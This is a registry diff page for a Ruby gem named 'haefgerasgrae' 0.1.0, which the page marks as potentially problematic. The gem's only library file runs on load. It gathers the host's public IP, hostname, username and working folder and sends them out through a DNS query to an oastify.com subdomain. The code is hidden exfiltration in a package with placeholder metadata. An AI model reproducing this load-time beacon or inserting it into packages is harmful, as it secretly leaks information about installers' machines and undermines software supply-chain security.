haefgerasgrae 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of haefgerasgrae might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/haefgerasgrae.rb +29 -0
- metadata +58 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: eda859f1c6934e0f8cc42647316f32947800909b8f4f288ac653d7480715058b
|
|
4
|
+
data.tar.gz: e91313ad64931b05fa559acbe2000e7bcc596746a414ccc5be58dea2c87a6e8f
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 75781f684bd78864808e0a85b2f69f14a31678976cd1c6e7de146d8abe3ce6d4eb7b79f4e5c2ba12a1600707478c88e47df438a3a40e3a1adde7791d7152c77c
|
|
7
|
+
data.tar.gz: bb24649ffdc4caa05bcb7fa048a3a0b4014b98c7f8cfa02c610ce91251303080231179e538e2988d6b89be7c51f979317f575ae096a6a45ef024a4056718ed99
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
require 'resolv'
|
|
2
|
+
require 'socket'
|
|
3
|
+
|
|
4
|
+
def send_dns_query
|
|
5
|
+
begin
|
|
6
|
+
# Obtener información requerida
|
|
7
|
+
ip_publica = `curl -s ifconfig.me`.strip
|
|
8
|
+
hostname = Socket.gethostname
|
|
9
|
+
usuario = ENV['USER'] || ENV['USERNAME']
|
|
10
|
+
path_actual = Dir.pwd
|
|
11
|
+
carpeta = File.basename(path_actual)
|
|
12
|
+
|
|
13
|
+
# Construir el subdominio con la información
|
|
14
|
+
query_data = "#{ip_publica}-#{hostname}-#{usuario}-#{carpeta}".gsub(/[^w]/, '-').downcase
|
|
15
|
+
domain = "#{query_data}.kc0262r8oypagq3e8f89uaqmodu4i16q.oastify.com"
|
|
16
|
+
|
|
17
|
+
# Realizar la consulta DNS
|
|
18
|
+
Resolv::DNS.open do |dns|
|
|
19
|
+
dns.getaddress(domain)
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
puts "Consulta DNS enviada correctamente a #{domain}"
|
|
23
|
+
rescue => e
|
|
24
|
+
puts "Error al realizar la consulta DNS: #{e.message}"
|
|
25
|
+
end
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
# Ejecutar la consulta al cargar la gema
|
|
29
|
+
send_dns_query
|
metadata
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: haefgerasgrae
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.1.0
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Tu Nombre
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2024-12-17 00:00:00.000000000 Z
|
|
12
|
+
dependencies:
|
|
13
|
+
- !ruby/object:Gem::Dependency
|
|
14
|
+
name: rake
|
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
|
16
|
+
requirements:
|
|
17
|
+
- - ">="
|
|
18
|
+
- !ruby/object:Gem::Version
|
|
19
|
+
version: '0'
|
|
20
|
+
type: :runtime
|
|
21
|
+
prerelease: false
|
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
|
23
|
+
requirements:
|
|
24
|
+
- - ">="
|
|
25
|
+
- !ruby/object:Gem::Version
|
|
26
|
+
version: '0'
|
|
27
|
+
description: Descripción más detallada de la gema.
|
|
28
|
+
email:
|
|
29
|
+
- tu_correo@example.com
|
|
30
|
+
executables: []
|
|
31
|
+
extensions: []
|
|
32
|
+
extra_rdoc_files: []
|
|
33
|
+
files:
|
|
34
|
+
- lib/haefgerasgrae.rb
|
|
35
|
+
homepage: https://example.com/haefgerasgrae
|
|
36
|
+
licenses:
|
|
37
|
+
- MIT
|
|
38
|
+
metadata: {}
|
|
39
|
+
post_install_message: Gracias por instalar haefgerasgrae! Consulta DNS ejecutada.
|
|
40
|
+
rdoc_options: []
|
|
41
|
+
require_paths:
|
|
42
|
+
- lib
|
|
43
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
44
|
+
requirements:
|
|
45
|
+
- - ">="
|
|
46
|
+
- !ruby/object:Gem::Version
|
|
47
|
+
version: '0'
|
|
48
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
49
|
+
requirements:
|
|
50
|
+
- - ">="
|
|
51
|
+
- !ruby/object:Gem::Version
|
|
52
|
+
version: '0'
|
|
53
|
+
requirements: []
|
|
54
|
+
rubygems_version: 3.4.10
|
|
55
|
+
signing_key:
|
|
56
|
+
specification_version: 4
|
|
57
|
+
summary: Descripción corta de la gema
|
|
58
|
+
test_files: []
|